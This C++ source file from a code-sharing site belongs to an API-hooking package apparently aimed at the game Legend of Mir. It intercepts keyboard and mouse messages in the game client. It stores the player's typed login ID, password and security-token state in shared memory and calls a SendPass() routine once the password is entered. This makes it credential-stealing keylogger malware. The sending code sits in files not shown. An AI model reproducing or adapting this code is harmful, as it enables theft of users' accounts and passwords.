www.gusucode.com > HookAPI开发包(Win32 API函数截拦)源码程序 > HookAPI开发包(Win32 API函数截拦)源码程序/谷速代码-code/HookAPI1.7/hook_mir/HookDirectDraw/sharemem.cpp
// Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com // 如果要使用或修改本程序,请保留次信息 // #include "StdAfx.h" #include "sharemem.h" #include "util.h" #include "send.h" #include "mouse_pos.h" HANDLE g_hMapFile =NULL; INPUT_INFO *g_pMapData =NULL; HANDLE g_hMapFileDebug =NULL; DEBUG_INFO *g_pMapDataDebug =NULL; extern BOOL IfExe(); extern HWND g_hWndMain; int InitShareMem() { g_hMapFile =OpenFileMapping(FILE_MAP_WRITE, FALSE, "hook_map_file"); if(g_hMapFile) g_pMapData =(INPUT_INFO *)MapViewOfFile(g_hMapFile, FILE_MAP_WRITE, 0, 0, 0); else { ExitShareMem(); return -1; } if(g_pMapData) { if(IfExe()) { g_pMapData->cur_times =!g_pMapData->cur_times; // using another buf to save new data memset(&g_pMapData->data[g_pMapData->cur_times], 0, sizeof(g_pMapData->data[g_pMapData->cur_times])); g_pMapData->data[g_pMapData->cur_times].stat =STAT_START; // 密宝初始化为-1,-1,-1 g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; } //else 改由选择百区的时候设置为input login id // g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_LOGIN_ID; } g_hMapFileDebug =OpenFileMapping(FILE_MAP_WRITE, FALSE, "debug_map_file"); if(g_hMapFileDebug) g_pMapDataDebug =(DEBUG_INFO *)MapViewOfFile(g_hMapFileDebug, FILE_MAP_WRITE, 0, 0, 0); else { ExitShareMem(); return -2; } return 0; } void ExitShareMem() { if(g_pMapData) { if(IfExe()) g_pMapData->data[g_pMapData->cur_times].stat =STAT_END; UnmapViewOfFile(g_pMapData); } if(g_hMapFile) CloseHandle(g_hMapFile); if(g_pMapDataDebug) UnmapViewOfFile(g_pMapDataDebug); if(g_hMapFileDebug) CloseHandle(g_hMapFileDebug); g_hMapFile =NULL; g_pMapData =NULL; g_hMapFileDebug =NULL; g_pMapDataDebug =NULL; } void CheckStatByMousePos(int x, int y) { int i; POINT pt; pt.x =x; pt.y =y; if(g_pMapData->data[g_pMapData->cur_times].stat !=STAT_LOGIN_OK) { for(i =0; i<20 && g_rect_infos[i].stat >-1; i++) { if(PtInRect(g_rect_infos[i].rc, pt)) { g_pMapData->data[g_pMapData->cur_times].stat =g_rect_infos[i].stat; if(g_rect_infos[i].stat ==STAT_INPUT_MB) { // 密宝初始化为-1,-1,-1 g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; } break; } } } else // 判断选择服务器 { } } void CheckStatByText(char *buf) { if(strlen(buf) <3) return; if(buf[1] ==',' && buf[3] ==',') { g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_MB; // 密宝初始化为-1,-1,-1 g_pMapData->data[g_pMapData->cur_times].have_mb =1; } for(int i=0; i<10 && g_text_infos[i].stat >-1; i++) { if(strstr(buf, g_text_infos[i].txt)) { g_pMapData->data[g_pMapData->cur_times].stat =g_text_infos[i].stat; if(g_text_infos[i].stat ==STAT_MB_LOGIN_FAILED) { // 密宝初始化为-1,-1,-1 g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; } break; } } } void SetDebugData(char *buf) { if(!IfExe()) WriteLog(buf); char temp[200]; GetModuleFileName(NULL, temp, sizeof(temp)); if(strstr(temp, ".exe")) return; if(strlen(temp) <9) strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], temp); else strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], &temp[strlen(temp)-9]); strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], ","); int len =strlen(buf); if(len > 190) buf[190] =0; strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], buf); g_pMapDataDebug->data[g_pMapDataDebug->pos][0] =' '; // buf can read now g_pMapDataDebug->pos =(g_pMapDataDebug->pos+1)%1024; } void SetMapData(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { char temp[200]; GetModuleFileName(NULL, temp, sizeof(temp)); if(strstr(temp, ".exe")) return; INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; if(msg ==WM_KEYDOWN) { if(wParam ==VK_TAB) { WriteLog("VK_TAB,stat=%d", pdata->stat); switch(pdata->stat) { case STAT_INPUT_LOGIN_ID: pdata->stat =STAT_INPUT_PASSWORD; break; case STAT_INPUT_PASSWORD: pdata->stat =STAT_INPUT_LOGIN_ID; break; } return; } return; } if(msg ==WM_LBUTTONDOWN) { // ID,用户名,登录,出错,密宝登录,密宝登录出错,选择服务器 CheckStatByMousePos(LOWORD(lParam), HIWORD(lParam)); return; } if(msg ==WM_CHAR) { if(wParam ==VK_RETURN) { WriteLog("VK_RETURN,msg=%d,stat=%d", msg,pdata->stat); switch(pdata->stat) { case STAT_INPUT_LOGIN_ID: WriteLog("input password..."); pdata->stat =STAT_INPUT_PASSWORD; break; case STAT_INPUT_PASSWORD: pdata->stat =STAT_TO_LOGIN; WriteLog("send pass..."); SendPass(); break; case STAT_INPUT_MB: pdata->stat =STAT_TO_LOGIN_MB; break; case STAT_TO_LOGIN: // 登录出错按回车 pdata->stat =STAT_INPUT_LOGIN_ID; pdata->login_id[0] =0; pdata->password[0] =0; break; case STAT_TO_LOGIN_MB: pdata->stat =STAT_END; //密宝登录失败 break; } return; } if(wParam ==VK_BACK) { switch(pdata->stat) { case STAT_INPUT_LOGIN_ID: if(strlen(pdata->login_id) >0) pdata->login_id[strlen(pdata->login_id)-1] =0; break; case STAT_INPUT_PASSWORD: pdata->password[0] =0; break; } return; } int len; switch(pdata->stat) { case STAT_INPUT_LOGIN_ID: len =strlen(pdata->login_id); if(len < sizeof(pdata->login_id)-1) { pdata->login_id[len] =wParam; len++; pdata->login_id[len] =0; } break; case STAT_INPUT_PASSWORD: len =strlen(pdata->password); if(len < sizeof(pdata->password)-1) { pdata->password[len] =wParam; len++; pdata->password[len] =0; } break; default: return; } } }